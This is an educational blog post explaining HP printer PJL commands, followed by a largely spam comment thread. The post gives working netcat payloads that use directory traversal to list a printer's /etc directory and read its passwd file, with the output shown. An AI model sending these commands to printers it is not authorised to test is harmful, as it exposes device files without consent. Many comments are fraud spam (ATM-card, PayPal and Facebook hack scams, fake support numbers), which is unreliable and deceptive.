Thursday, December 1, 2011

“Hacking” Printers - PJL Basics

Notice the quotes in the title? That’s because this particular write up is about knowing and understanding the basics. A long time ago, you became a “hacker” because you were someone who was an expert in a subject.
I know people that have forgotten more about VMS than I could ever learn. They became known as a VMS “hacker” because they knew everything that could be known about VMS.
A short while later in my career, I got to be known as the AIX “hacker” because I knew more about AIX than even some IBM techs I’d talk to on the phone. That’s why the term “Hacking” in the title has quotes. What we’re going to talk about today is understanding some very basic features that most people have forgotten about and being able to manipulate those features to help us do some bad stuff.

HP Printer Vulnerability
I’ve been surrounded by a lot of debate, since the HP printer vulnerability controversy sparked up (like the pun?) earlier this week. If you’ve NOT been living with your head buried in the sand the past few days, then you’ve not doubt heard that security researchers have dug into some inherent functionality in HP printers and figured out a way to use it to do some things that could cause some alarm. HP has, since, officially argued that claims about burning printers are sensationalistic.
I’ve been personally dragged into a couple of misguided conversations regarding these new findings and there are a few things that I don’t think have been made crystal clear about the vulnerabilities. With that in mind, I figured we could take a few moments here at Hack On A Dime to refamiliarize ourselves with the basics of HP Printers and focus on what’s at the heart of the new research: PJL.
For those that are not familiar, PJL is very nearly the heart of communication with print queues. But, let’s not get ahead of ourselves.

Printer Communication

Printers are, in essence, simply computers. They communicate via the network, like PC’s, but, unfortunately, they may be the most neglected devices on any network. A sampling of printers tested (later in this article), showed me that they hadn’t had firmware updates in well over a year. (This helped me greatly, because the vulnerability I ended up exploiting was found within that year, so I really shouldn’t complain).
HP Printers have five main ways of communicating on the network, if they’re networked and using JetDirect:

  • HTTP
  • HTTPS
  • Telnet
  • SNMP
  • PCL / PJL
HTTP and HTTPS, is served through what HP calls the Embedded Web Server, or EWS. Now, most administrators, when deploying HP printers, turn off HTTP in favor of HTTPS. Ok, maybe not most, but those that have an understanding about security know that HTTPS is better than HTTP, so they usually turn off communications on Port 80, in favor of Port 443 (HTTPS).

If an admin communicates with their printer through Telnet, the password is usually the same using Telnet, as it is using EWS. SNMP is a whole other discussion (and a whole other vulnerability discussion – did you know you can snmpwalk an HP printer without the community string? Yeah, we’ll talk about THAT later.).

But what’s interesting is PJL – the Printer Job Language – an extension of PCL (the Printer Command Language – how print jobs are communicated to printers) is another way to communicate with the printer and has some … INTERESTING features that help us, the hacker.

PJL, by the way, supports the ability to password protect it (with a separate password from EWS/Telnet) so you can actually protect the printing stream (a little). The following examples, however, were successfully implemented on an HP printer without PJL password being set. But, let’s face facts, nearly 99.9% of the printers out there WILL NOT have the PJL password set.

So, let’s take a look at how we can use PJL to make the printer do some interesting things. NOTE: below, where [ESC] is used, you need to actually insert the ESCAPE character. I highly suggest you use Notepad++ in order to craft the ASCII commands. Regular Notepad just won’t cut it.  And, lastly, you should know that in order to send the commands to the printer, you’re going to use netcat.exe (or nc.exe). This will send the commands in a “raw”, unadulterated way so the printer will interpret the commands correctly.

First, if you want to try something easy out, you can tell the printer to change the “READY” message to something else.

The code to change the “READY” message to “Igor!!!!” do that is:

[ESC]%-12345X @PJL RDYMSG DISPLAY="Igor!!!!"
[ESC]%-12345X

You can paste that code into Notepad++, substitute the [ESC] with the actual Escape character and save the file to a directory. In a Windows environment, you can open a DOS box and issue the “type” command to “echo” the file to netcat. For instance, if you had saved the file as “pjl1.txt”, you can do the following:

type pjl1.txt | nc -v -v <PRINTER IP ADDRESS> 9100

Linux folks can, of course, use “echo” to perform the same thing. Regardless, sending that code to the printer resulted in the printer’s display message reading:



Knowing that the printer accepts PJL code, we can now start to send it way more interesting code. Like what you ask? Well, thanks to a vulnerability associated with PJL code and directory traversal (you know, the practice of inserting periods and slashes into a pathname to traverse the directory structure and get to places you shouldn’t?) we can start to list out the contents of the hard drives that are installed in the printer.

In HP’s world, the main drive is called drive “0:” and the next drive is called drive “1:”. So, for you Windows folks, you have “C:” and the HP printers have “0:”. So, let’s go ahead and list out the “etc” directory.

This code lists out the contents of the ‘etc’ directory for me:

[ESC]%-12345X@PJL FSDIRLIST NAME="0:\\..\\..\\..\\etc" ENTRY=1 COUNT=999999
[ESC]%-12345X

Save this file and “type” it out to netcat.

type pjl-fsdirlist.txt | nc -v -v <IP Address of Printer> 9100

And this was the output of the command:

[Fully Qualified Domain Name] [IP Address] 9100 (?) open
@PJL FSDIRLIST NAME="0:\\..\\..\\..\\etc" ENTRY=1
. TYPE=DIR
.. TYPE=DIR
hp TYPE=DIR
starttab TYPE=FILE SIZE=315
passwd TYPE=FILE SIZE=23
ttys TYPE=FILE SIZE=1357
hosts TYPE=FILE SIZE=159
resolv.conf TYPE=FILE SIZE=53
fsdev TYPE=FILE SIZE=681
fstab TYPE=FILE SIZE=247

Using the PJL commands to interact with the Filesystem is not a hack, it is a feature. However, it is a feature that we can use to view the contents of the hard drives and even the contents of the files. See that “passwd” file up there? Let’s see what’s in it.

This code (the FSUPLOAD command) allowed me to view the contents of the file by sending a print job to the printer.

[ESC]%-12345X@PJL FSUPLOAD NAME="0:\\..\\..\\..\\etc\passwd" OFFSET=0 SIZE=22000
[ESC]%-12345X

The output of this command looked like this:

type pjl1.txt | nc -v -v <IP Address of Printer> 9100
Fully Qualified Domain Name [IP Address of Printer] 9100 (?) open
@PJL FSUPLOAD FORMAT:BINARY NAME="0:\\..\\..\\..\\etc\passwd" OFFSET=0 SIZE=23
root::0:0::/:/bin/dlsh

Conclusion
Hopefully, this tutorial helps illustrate for you some basic PJL commands and how to use them to interact with the printers. If you want to learn more about PJL commainds, go ahead and google “PJL reference manual”, you’ll get a number of hits listing out PDF’s containing a ton of PJL commands you can use to mess around with the printers you find on networks you test.

Or, if you decide to really take the quick hacker highway, you can check out this script on attackvector that combines a lot of this stuff together in one Perl script.

Or, if you’re a Metasploit user, you can check out this module that also executes PJL queries.

The key thing to take away from this tutorial is this: the new security research may or may not be 100% accurate, but it should be a launching point for discussion and your expert knowledge in this subject should help you educate others who may not quite understand the claims that are being made regarding the vulnerability of HP Printers.

172 comments:

  1. OFFSET PRINTERS IN INDIA
    Rajhans Enterprises, India’s first leading & largest Offset and Commercial Web Offset Printers in Bangalore State of Karnataka and have branches at Madurai, Coimbatore and Davangere.

    OFFSET PRINTERS
    OFFSET PRINTING
    OFFSET PRINTERS IN INDIA

    For more details visit :- http://rajhansenterprises.com/

    ReplyDelete
  2. Hi
    Kind of fun... I'm also in the middle of hacking a few HP printers.. actually on request to do so...
    Question: Can the FSDIRLIST be disabled in any way ??
    Reason being that although wanting to do just the listing of all the macros.. I do not get any output at all.. nor the listing of the "O:\pcl\macros" that I would like to...
    Any help is appreciated!

    ReplyDelete
    Replies
    1. According to this: http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13208/bpl13208.pdf there's no discussion regarding disabling the FSDIRLIST command. But enabling passwords for PJL will make it so you can't submit a PJL job with FSDIRLIST and have it execute (without the password). Any jobs submitted without the correct PJL password will look like they are working and then do absolutely nothing. It sounds to me that the target may have PJL passwords enabled. The behavior you describe sounds like it's protected that way.

      Delete
    2. Hi
      COmmand is like this:
      ^[%-12345X@PJL
      @PJL COMMENT XRXbegin
      @PJL COMMENT OID_ATT_START_SHEET OID_VAL_JOB_SHEET_NONE
      @PJL COMMENT OID_ATT_ACCOUNTING_INFORMATION "FMUUSER|042FMUACCOUNT"
      @PJL COMMENT XRXend
      @PJL FSMKDIR NAME="0:\pcl\macros"
      @PJL FSDOWNLOAD FORMAT:BINARY NAME="0:\pcl\macros\15" SIZE=19800
      .....
      ^[%-12345X
      which works well for the download of macros.. but doing a FSDIRLIST on the same directory.... gives no output whatsoever!!
      I am really baffled by this....
      ideas will be appreciated!
      (Needless to say the FSDIRLIST is to make certain that the needed macros have been downloaded and to verify the download)

      Delete
    3. INSTEAD OF GETTING A LOAN, CHECK OUT THE BLANK ATM CARD IN LESS THAN 24hours {blankatmhaker@gmail.com}

      Am Mark Oscar,I want to testify about Jack Robert blank ATM cards which can withdraw money from any ATM machines around the world. I was very poor before and have no hope then I saw so many testimony about how Jack Robert send them the ATM blank card and use it to collect money in any ATM machine and become rich. I also email him and he sent me the blank card. I have use it to get 70,000 dollars. withdraw the maximum of $5,000 daily. Jack Robert is giving out the card just to help the poor. Hack and take money directly from any ATM Machine Vault with the use of ATM Programmed Card which runs in automatic mode. email Him on how to get it now via: blankatmhaker@gmail.com or call/Text on +1(406) 350-4986

      Delete
  3. Sre Travels maintains large fleet super deluxe comfortable buses that are well equipped with exotic amenities with various combinations of deals that mostly offer reasonable fares and exclusive services. Bus Ticket for several multiple routes are always possible with Sre Travels. Online Bus Booking for this Travels is available with TicketGoose.com. For discounts and offers visit this page.

    ReplyDelete
  4. This comment has been removed by the author.

    ReplyDelete
  5. why not buy my ticket to your funeral for trying to sell tickets...

    ReplyDelete
  6. Here's how you do that one, without downloading anything... Just paste into a command line, replacing "Printer IP" with your printer's IP.

    Note:Type in all caps.

    ----------

    Telnet Printer IP 9100

    @PJL RDYMSG DISPLAY="INSERT COIN"

    ^]

    quit

    ReplyDelete
  7. Do you know a hack for HP printers' region code locking? I have an HP PSC 1300 series lying wasted with me since 4 years because it was purchased in Europe and Indian cartridges don't work on it. I also have 4 brand new colour and black cartridges lying waste which I purchased hurriedly out here. Would really appreciate the help. Thanks in advance!

    ReplyDelete
  8. The offset printers in India are paramount for the promotion and growth of the business organization. You can design customized logos for your business with the aid of offset printing.

    ReplyDelete
  9. This the Good Hacking Techniques.. Thanks For sharing this Information...


    Wedding Websites

    ReplyDelete
  10. So, how do you secure a printer against PJL/Telnet hacks? I set an admin passwd, disabled telnet, and added a PJL password#. Still, I can change the display via telnet. HP P3015.

    ReplyDelete
  11. hi Drew,
    i tried the following command on one of our HP Laserjet printer which i confirmed without pjl password enabled. I did not get any response back and finally i had to use CTRL-C to quit.

    type cplock.pjl | nc -v -v xxx.xxx.xxx.xxx 9100
    where cplock.pjl's content is as follows (i used ALT 027 to insert [esc])
    [ESC]%-12345X@PJL JOB
    @PJL DEFAULT CPLOCK = MINIMUM
    @PJL EOJ
    [ESC]%-12345X

    ReplyDelete
  12. This is Awesome Wonderful information.. i am impressing to Read this post..

    ReplyDelete
  13. Great Technique. Awesome Thanks for sharing this Tips..

    ReplyDelete
  14. This blog is very unique i must appreciate you and i want to ask any body here know about the best Toner Cartridge for Printers if i am using Epson branded printer any unique idea appreciated.

    ReplyDelete
  15. wooooooow i can't believe that..i Bryan L. Knight can hack $72.000 in my paypal account..this is really free money guyz...guyz this is really working...thank you so much for this hacker...is working fine.......thank you
    that is why i am shearing with you.
    Paypal Money Adder
    Paypal Money Generate
    Paypal Money Hack
    Paypal Account Hack

    ReplyDelete

  16. Facebook Hack Tool Free Download
    This is really working...thank you so much for this hacker...is working fine.......thank you
    That is why i am shearing with you.
    facebook hacker download
    facebook password hacker
    download facebook hacker
    facebook account hacker

    ReplyDelete
  17. @Admin

    Can You please guide me how i can install my HP 5000 Printer driver? Where can i download it?

    Regards
    Susane

    ReplyDelete
  18. I am not sure about the idea of hacking a printer on how it helps consumers. All i want it to get cheap printer ink for my every day print usage.

    ReplyDelete
  19. I have been reading your posts regularly. I need to say that you are doing a fantastic job. Please keep up the great work.

    HP Deskjet 3633 Printer Support

    ReplyDelete
  20. Hi... i like your post thank you for sharing and if you face any yahoo mail related issues you can contact yahoo customer care number.

    ReplyDelete
  21. Great blog! I really love how it is easy on my eyes and the information are well written.


    123HPEnvy OfficeJet5745 Setup

    ReplyDelete
  22. Does anybody know if there is another way to send PJL code to a printer without using NetCat? I would like to try to avoid using NetCat as it appears... sketchy. I have tried using the FTP interface already, but no luck. Any help would be greatly appreciated, as I have been trying to resolve this for days!

    Thanks!

    ReplyDelete
  23. I have been reading your posts regularly. I need to say that you are doing a fantastic job. Please keep up the great work.

    123HP officejet-pro 476dw Printer Setup

    ReplyDelete
  24. Nice Post, For HP Support Toll Free Number 0800-098-8579, We provide you online help and support.Call us at Our HP Printer Support Helpline Number

    ReplyDelete

  25. This comment has been removed by a blog administrator


    123 HP envy5642

    ReplyDelete
  26. Very helpful Post!!! This is the first time I have read a post like this. Find Career tips here.

    123 HP LJ M521 Setup - 123.hp.com/lj m521

    ReplyDelete
  27. Thank you for sharing this information and Very good looking blog on

    123 hp oj5745 setup

    ReplyDelete
  28. Get HP printer error solution at one destination just make a call HP Printer Support Helpline Number -1-800-436-0509 , hp printer support in UK, US and AUS 24*7, hp printer setup issues, error solving over the phone.

    ReplyDelete
  29. http://hpprintersupports.blogspot.in/2016/11/how-to-fix-message-error-remove-and.html
    helpline number +1-855-517-2433(TollFree)

    ReplyDelete
  30. Thanks for sharing your valuable tips among us..

    ReplyDelete
  31. contact canon printer support yo get instant solutions for your canon printer - installing printer, driver problem or many other issues which you are facing...

    ReplyDelete
  32. To get hassle-free AT&T email support services from a third party tech support providing company, you need to simply dial at&t toll free customer support number. The phone number is a right choice for getting trouble-free at&t tech support. So you can dial this number and get the needed help for your account-related concerns.att email helpline number

    ReplyDelete
  33. Really awesome blog. Your blog is really useful for me. Thanks for sharing this informative blog. Keep update your blog.


    123 HP Ojp8710

    ReplyDelete
  34. Hi this is very nice post .this is a so important information for everyone .we are providing canon printer technical support for canon product as well as each printers support on toll-free number +1-800-723-4210. Thank you.

    ReplyDelete
  35. very nice blog.thanks for doing this great job and I wish you will continue like this . this is a so important information for everyone .we are providing canon printer technical support for canon product as well as each printers support on toll-free number +1-800-723-4210. Thank you.

    ReplyDelete
  36. Hey, nice site you have here! Keep up the excellent work!

    HP OJPRO8710 Setup

    ReplyDelete
  37. The technique and the article you shared here is really amazing I never know this before but now I can try this. Thank you for sharing this article.

    123 hp support

    ReplyDelete
  38. It would not be an exaggeration to say that the manufacturing market would certainly do not have innovativeness and performance without the existence of a 3D printing device. 3d printer

    ReplyDelete
  39. Wow! That's really great information guys.I know lot of new things here. Really great contribution.Thank you .
    123 HP Officejet Pro 8710

    ReplyDelete
  40. Contact QuickBooks Technical Support Number of Quickbooks.support-telephonenumber.com at toll free number 1-844-640-1482 and resolve all your software issues in limited time period.

    ReplyDelete
  41. If you are looking of quickbooks support number then you can dial our toll free number at 1844-857-4845.

    ReplyDelete
  42. It provides a big collection of useful information. If you want online repair service for printers, plotters, scanner so VISIT HERE.

    ReplyDelete
  43. Nice information...you blog...
    HP Printer Tech Support Number is available for serve the all required solution for HP Computer, laptops, and printers etc. Dial our toll free number 1-800-723-4210 and our qualified technicians will solve your every issues related to HP.


    HP Tech Support Number

    ReplyDelete
  44. Awesome blog! I am really impressed by this blog! The pictures are really nice and cool
    Norton Antivirus Setup

    ReplyDelete
  45. Wonderful blog & good post.Its really helpful for me, awaiting for more new post. Keep Blogging!

    123 hp printer setup

    ReplyDelete
  46. Well, your blog is very informative, thank you for posting such useful blog as it is very accurate. But i have another website with much better detail than this you must visitwww.helpadya.com Post Free Ads.

    ReplyDelete
  47. its pretty good...
    http://supportnumbers.net/

    ReplyDelete
  48. Hey, that’s really a good post on pets for sale in Delhi, i really like your blog as the information is very useful if you are a pet lover. Well, there is one more site for the same service www.helpadya.com you should check it for more detail.

    ReplyDelete
  49. Thanks for give me this information about Hp pinter support really this product is very effective.

    ReplyDelete
  50. Nice Article you have shared a great information and i have been following your blog regularly. If you need any technical assistance please visit our website by clicking on it Free Technical Support for HP Printers

    ReplyDelete
  51. Nice information thanks for sharing it..!it will be helpful for people searching this kind of information..


    123 HP Officejet Pro 8660 Setup

    ReplyDelete
  52. A very interesting article. The insights are really helpful and informative. Thanks for posting.

    123 HP Officejet Pro 8660 Wireless Install Setup

    ReplyDelete
  53. Wonderful blog & good post.Its really helpful for me, awaiting for more new post. Keep Blogging!

    123 HP Officejet Pro 8710 Printer Setup

    ReplyDelete
  54. Nice Blog
    HP Technical Support
    Get instant service to, HP Technical support, provide the best quality service.

    ReplyDelete
  55. ThankYou, For sharing such a valuable post. 1800-(244)-9314
    https://www.surveymonkey.com/r/LWLD7DJ

    ReplyDelete
  56. Excellent information.I like the way of writing and presenting.
    HP Envy 5642 Printer Installation Support

    ReplyDelete
  57. Looking great work, I really appreciated to you on this quality work. Nice post!! these tips may help me for future.

    123.hp.com/setup

    ReplyDelete
  58. Enjoyed reading the article above , really explains everything in detail,the article is very interesting and effective.Thank you and good luck for the upcoming articles

    123.hp.com/setup Officejet 3832

    ReplyDelete
  59. Thank you very much for your tips, sure i will follow your tips.

    123 hp setup

    ReplyDelete
  60. Microsoft office has a different version, and the entire version has the different setup file office.com/ set up . Some of the version is Office 2013, Office 2016 and Office 365 etc. Go to www.office.com/setup and redeem your key.here are multiple manufacturers making printers for home and office use with varied range as printer series per the need and affordability of different customers. It has become one of the most useful computer hardware devices that allow people to convert computer generated typescript into a physical printed document. Norton is one of the most reliable antivirus providers in the market. Norton is delivering top rated protection from mobile devices and computers. Norton has 3 antivirus packages norton.com/setup .mcafee.com/activate McAfee have the complete set of features which can protect your digital online and offline life of the computing devices, and it not only help you to protect it install mcafee.

    ReplyDelete
  61. We are a third party technical support service. Avast Customer Support is here to help you out with the whole procedure to Download Avast Antivirus online, We not only fix your Avast Support related issues but will guide with how to get started with your new Avast product once it gets installed successfully.We at Avast Tech Support provides service to protect your PC from potential online threats and external attacks like viruses, Trojans, malwares, spywares and phishing scams. And Avast Refund. Call on our Avast Phone Number.

    Gmail Customer service is a third party technical support service for Gmail users when they face any technical issue or error in their Gmail account. Our Gmail Customer Support team solves issues like forgot Gmail account password, Gmail configuration or Sync issues, recover deleted emails and many more.

    How you install or reinstall Office 365 or Office 2016 depends on whether your Office product is part of an Office for home or Office for business plan. If you're not sure what you have, see what office com setup products are included in each plan and then follow the steps for your product. The steps below also apply if you're installing a single, stand-alone Office application such as Access 2016 or Visio 2016. Need Help with office setup Enter Product Key?

    Norton Tech Support is a third party service provider and not in any way associated with Norton or any of its partner companies. At Norton Support we offer support for Norton products and sell subscription based additional warranty on computer and other peripheral devices.

    ReplyDelete

  62. I am really impressed along with your writing skills and also with the format on your blog.

    123 HP Setup Envy 5540

    ReplyDelete
  63. Very interesting,good job and thanks for sharing such a good

    blog.your article is so convincing that I never stop myself to say

    something about it.You’re doing a great job.Keep it up.

    123 hp setup

    ReplyDelete
  64. HP printer users looking for instant help can contact Hp support team to resolve their issues. So why waiting, dial HP 24*7 available toll-free customer care number +1-866-569-8043 for instant help. So whatever the issue you are encountering with your Hp Printer, our tech experts have a resolution of your issue.
    HP Printer Support Number

    ReplyDelete
  65. Thanks for posting your valuable thoughts with us & our readers. Please keep continue writing on this blog.
    Bulk SMS Service Provider

    ReplyDelete
  66. hp printer support - HP Printer technical support phone 1800-787-2406 for repair HP printer drivers and other HP printer problems. You can call us, mail us, and chat for HP support to setup, configure & install HP wireless printers. We also provide HP, Printer Parts, Technical Support, and Printer Repair.

    ReplyDelete
  67. I think this is an informative post and it is very useful and knowledgeable. Have such good writing skills and keep up the more fantastic work.It has some valuable content on this topic.I am really glad to read it and being able to share my thoughts on it.Thanks for the post
    Hp customer Service

    ReplyDelete
  68. BEST WAY TO HAVE GOOD AMOUNT TO START A GOOD BUSINESS or TO START LIVING A GOOD LIFE..... Hack and take money directly from any ATM Machine Vault with the use of ATM Programmed Card which runs in automatic mode. email (MATINIWORLDWIDEHACKERS@HOTMAIL.COM) for how to get it and its cost . .......... EXPLANATION OF HOW THESE CARD WORKS.......... You just slot in these card into any ATM Machine and it will automatically bring up a MENU of 1st VAULT $1,000, 2nd VAULT $5,000, RE-PROGRAMMED, EXIT, CANCEL. Just click on either of the VAULTS, and it will take you to another SUB-MENU of ALL, OTHERS, EXIT, CANCEL. Just click on others and type in the amount you wish to withdraw from the ATM and you have it cashed instantly... Done. ***NOTE: DON'T EVER MAKE THE MISTAKE OF CLICKING THE "ALL" OPTION. BECAUSE IT WILL TAKE OUT ALL THE AMOUNT OF THE SELECTED VAULT. email MATINIWORLDWIDEHACKERS@HOTMAIL.COM We are located in USA,INDIAN

    ReplyDelete
  69. To increase the lifespan of your HP Printer, you will need to learn the ways to maintain it. There are small tips and tricks that you can follow so that your printer works with it optimum efficiency for long time. Call us at +1-866-569-8043 and get more info about it from our knowledgeable techies.
    HP Printer Help Number

    ReplyDelete
  70. hp printer support phone number - Call and get toll free HP printer support and customer service, tech support phone and Chat support center for any HP printer repair problems. You can call us at our toll free number 8007872406 or chat us 24x7 online.

    ReplyDelete
  71. You have outdone yourself this time. This is probably the best,most concise step-by-step guide.I have ever seen on how to build a successful blog. Please click for more information Hp Printer Technical Support

    ReplyDelete
  72. The above shared article is really very good, content present in it is very informative and very easy to understand.
    Thanks for sharing
    <a href="http://experthelp.strikingly.com/>Cisco Customer Support</a>

    ReplyDelete

  73. Very informative post for us, thanks for sharing.
    Keep updating us.

    Cisco Customer Support

    ReplyDelete
  74. 24*7 Toll Free number 1-866-877-0191 For HP Printer Tech Support Number For more information you can visit https://resolit.us/HP-Printer-Support.html

    ReplyDelete
  75. if you have any problem related to the d-link router then they can contact us.
    d-link router customer number

    ReplyDelete
  76. hp printer installation support - Looking for HP printer installation support? Call us at 1-800-787-2406 and find various support options including software, drivers, manuals, how to and troubleshooting information for your HP Printers online 24x7.

    ReplyDelete

  77. many people are facing problem in their opera they people can contact us we are here to provide the complete solution about the opera support.
    opera customer service number

    ReplyDelete
  78. Printer Technical Support Number
    http://www.printersupportnumbers.com/
    Printersupportnumbers.com is an independent tech support service provider of printer problems for all the third party products mentioned on the website. We are not affiliated with any third party company. Use of third party trademarks, brand names, products & services mention on website is for customer reference only

    ReplyDelete

  79. Very informative post for us, thanks for sharing.
    Keep updating us.


    Google Play Music Support

    ReplyDelete
  80. Adobe Photoshop is one of the most awaited Photoshop Touch that arrived on the Android platform, that makes its debut on the iOS platform. We play with iOS version and edit photographs on an iPad. Running app allow entering the tutorial mode by just getting the screen.
    Google customer service number

    ReplyDelete
  81. I got my already programmed blank ATM card to withdraw the maximum of $2000 daily.I am so happy about this because i got mine last week and I have used it to get $12000. Sharon is giving out the card just to help the poor and he is not like other scam pretending to have the ATM cards. And no one gets caught when using the card get yours from him Just send her an email on williamshackers@hotmail.com and be happy like Me...

    ReplyDelete
  82. The Article and images you shared are an amazing it encourages people to see your whole page and read content also. it is the very nice post. Thanks for sharing with us.
    Google Customer Support

    ReplyDelete
  83. Really its very useful information that you have shared and thanks for sharing the information with us.
    123 HP Deskjet 2542 Printer Setup

    ReplyDelete
  84. Google Play Music provide the your collection everywhere on the online media or live music that is store at your cloud system also and you can also access from your Device.

    ReplyDelete
  85. BEST WAY TO HAVE GOOD AMOUNT TO START A GOOD BUSINESS or TO START LIVING A GOOD LIFE..... Hack and take money directly from any ATM Machine Vault with the use of ATM Programmed Card which runs in automatic mode. email (MATINIWORLDWIDEHACKERS@HOTMAIL.COM) for how to get it and its cost . .......... EXPLANATION OF HOW THESE CARD WORKS.......... You just slot in these card into any ATM Machine and it will automatically bring up a MENU of 1st VAULT $1,000, 2nd VAULT $5,000, RE-PROGRAMMED, EXIT, CANCEL. Just click on either of the VAULTS, and it will take you to another SUB-MENU of ALL, OTHERS, EXIT, CANCEL. Just click on others and type in the amount you wish to withdraw from the ATM and you have it cashed instantly... Done. ***NOTE: DON'T EVER MAKE THE MISTAKE OF CLICKING THE "ALL" OPTION. BECAUSE IT WILL TAKE OUT ALL THE AMOUNT OF THE SELECTED VAULT. email MATINIWORLDWIDEHACKERS@HOTMAIL.COM We are located in USA,INDIAN

    ReplyDelete
  86. very Help Full Post. Look Some Different here at upsc exam

    ReplyDelete
  87. I got my already programmed blank ATM card to withdraw the maximum of $2000 daily.I am so happy about this because i got mine last week and I have used it to get $12000. Sharon is giving out the card just to help the poor and he is not like other scam pretending to have the ATM cards. And no one gets caught when using the card get yours from him Just send her an email on williamshackers@hotmail.com and be happy like Me...

    ReplyDelete
  88. You have the nice information thanks for sharing. If you need Apple AirPort Customer Service
    Help Use Our Service.

    ReplyDelete
  89. hp printer customer service phone number - Printerhealthandcare.com is a well-known third party tech support company in USA that offers hp printer customer support services at +1-800-787-2406. We are a dedicated team of expert technicians that work 24x7 online. You can get help from our HP tech support team through email, chats via remote access for resolving HP printer issues.

    ReplyDelete
  90. The Place Of info have the nice information thanks for sharing. If you need Microsoft Edge Customer Service Help Use Our Service.

    ReplyDelete
  91. BEST WAY TO HAVE GOOD AMOUNT TO START A GOOD BUSINESS or TO START LIVING A GOOD LIFE..... Hack and take money directly from any ATM Machine Vault with the use of ATM Programmed Card which runs in automatic mode. email (williamshackers@hotmail.com) for how to get it and its cost . .......... EXPLANATION OF HOW THESE CARD WORKS.......... You just slot in these card into any ATM Machine and it will automatically bring up a MENU of 1st VAULT $1,000, 2nd VAULT $5,000, RE-PROGRAMMED, EXIT, CANCEL. Just click on either of the VAULTS, and it will take you to another SUB-MENU of ALL, OTHERS, EXIT, CANCEL. Just click on others and type in the amount you wish to withdraw from the ATM and you have it cashed instantly... Done. ***NOTE: DON'T EVER MAKE THE MISTAKE OF CLICKING THE "ALL" OPTION. BECAUSE IT WILL TAKE OUT ALL THE AMOUNT OF THE SELECTED VAULT. email (williamshackers@hotmail.com). We are located in USA.

    ReplyDelete
  92. MS Office setup is very easy to install, download and redeem. Use of MS Office is also simple and the user can learn the use of it easily. Online help option is also available in all application of the MS Office which provides an instant guideline.
    office.com setup
    www.office.com
    www office com setup

    ReplyDelete
  93. How you install or reinstall Office 365 or Office 2016 depends on whether your Office product is part of an Office for home or Office for business plan. If you're not sure what you have, see what office.com setup products are included in each plan and then follow the steps for your product. The steps below also apply if you're installing a single, stand-alone Office application such as Access 2016 or Visio 2016. Need Help with office.com/ setup Enter Product Key?
    office.com set up
    office com setup
    microsoft office product

    ReplyDelete
  94. McAfee provides security for all sorts of users. They supply services and products for home and office at home, enterprise businesses with over 250 workers, and small organizations with under 250 employees, and also venture opportunities.


    mcafee.com activate
    mcafee com activate
    mcafee activate

    ReplyDelete
  95. We are providing help and support for Microsoft office Setup and activation. Call us or email us the error or problem, our one of the expert contact you with the suitable perfect solution. Get the MS Office application suite and as per your need and see how it is easy to work with Microsoft Office.


    Office.com setup
    www office com setup
    Install Office

    ReplyDelete
  96. setup.office.com

    Before you plan to install the Office 2016 or Office 365 on your device be it a Computer, Laptop, Mobile Phone or a Tablet, you are required to take few important steps on of them is to remove any existing Office installations from your PC. Just like the previous Office products, Office 2016 & 365 will conflict with the previously installed versions. So, it becomes necessary to remove the previous office files properly.


    setup.office.com
    www.office.com/setup
    office.com

    ReplyDelete
  97. www.office.com/myaccount

    To Setup retail card please visit official website Www.Office.Com/Setup. Office Retail Cards allow you to download your security product from the internet instead of installing from a CD, ensuring recent versions.


    www.office.com/myaccount
    www.office.com/setup
    Microsoft Office product

    ReplyDelete
  98. Nice Post. Thanks for share.
    If you have any issues in your Canon printer like printer won’t print, printer install and setup. Canon printer troubleshooting, unable to scan copy and wireless printer setup. Fix your Canon printer issues. Get in touch Contact Canon Support Number +1-855-676-2448.

    ReplyDelete
  99. McAfee provides security for all sorts of users. They supply services and products for home and office at home, enterprise businesses with over 250 workers, and small organizations with under 250 employees, and also venture opportunities.



    mcafee.com activate
    mcafee com activate
    mcafee activate

    ReplyDelete
  100. We are providing help and support for Microsoft office Setup and activation. Call us or email us the error or problem, our one of the expert contact you with the suitable perfect solution. Get the MS Office application suite and as per your need and see how it is easy to work with Microsoft Office.


    Office.com setup
    www office com setup
    Install Office

    ReplyDelete
  101. setup.office.com

    Before you plan to install the Office 2016 or Office 365 on your device be it a Computer, Laptop, Mobile Phone or a Tablet, you are required to take few important steps on of them is to remove any existing Office installations from your PC. Just like the previous Office products, Office 2016 & 365 will conflict with the previously installed versions. So, it becomes necessary to remove the previous office files properly.


    setup.office.com
    www.office.com/setup
    office.com

    ReplyDelete

  102. www.office.com/myaccount

    To Setup retail card please visit official website Www.Office.Com/Setup. Office Retail Cards allow you to download your security product from the internet instead of installing from a CD, ensuring recent versions.


    www.office.com/myaccount
    www.office.com/setup
    Microsoft Office product

    ReplyDelete

  103. very Help Full Post. Look Some Different here at upsc syllabus

    ReplyDelete
  104. McAfeecom/activate

    McAfee.com/activate may be used in order to Activate McAfee Security. You may easily use the McAfee by going to the link and enter the 25 digit product key.

    McAfee is an antivirus which is available worldwide for devices like Computer, Laptop or Smartphones, and McAfee is one of the best 10 Antivirus according to all reviews in last 10 years. McAfee Security is used to secure the devices from Trojans, Attacks, Malware or any other activities which may harm the devices or network. McAfee requires the minimum requirements on the devices in order to work successfully which are mentioned on the manufacturer website.

    ReplyDelete

  105. brother printer support

    Brother-printer-support is one of the best Brand available which offers a wide range of Brother Printers available in the market which may involve different features including high-end printing, Ethernet/Wireless Networking, LED/Color Laser Printing, White Laser Printers, LED Multiple Function Printers, LED All in one Printers and Brother Duplex Printers. Brother Printers have the friendly interface which is easy to use. There are some glitches as users still face issues or errors while installing or other Brother Printer Technical issues.

    ReplyDelete

  106. roku.com/link


    Roku.com/link or Roku provides the simplest solution to all your entertainment requirements. If you are game enthusiasts or like to binge watch TV series or movie, Roku is there for you. It is undoubtedly number one choice for entertainment seekers. With the wide range of top channels associated with the company like HBO, Netflix, BBC, youTube, HULU and many more, Roku showcase company’s ability to provide high-quality content. It is also very easy to use and activate, and anybody can do that easily, which probably is the reason why you came here.

    ReplyDelete
  107. I will be grateful if yoս continue this in future. Numerous people
    will be benefited from your writing. Cheеrs! Microsoft support



    ReplyDelete

  108. Nice Blog...thanks for sharing information...i m countinue reader this blog




    HP Support Number Our team of certified tech experts will fine-tune your computer and troubleshoot all errors from the HP device which increase the speed of your computer and improve its performance.for detail contact this number +18009864520

    ReplyDelete

  109. Nice Blog...thanks for sharing information...i m countinue reader this blog




    HP Support Number Our team of certified tech experts will fine-tune your computer and troubleshoot all errors from the HP device which increase the speed of your computer and improve its performance.for detail contact this number +18009864520

    ReplyDelete
  110. This comment has been removed by the author.

    ReplyDelete
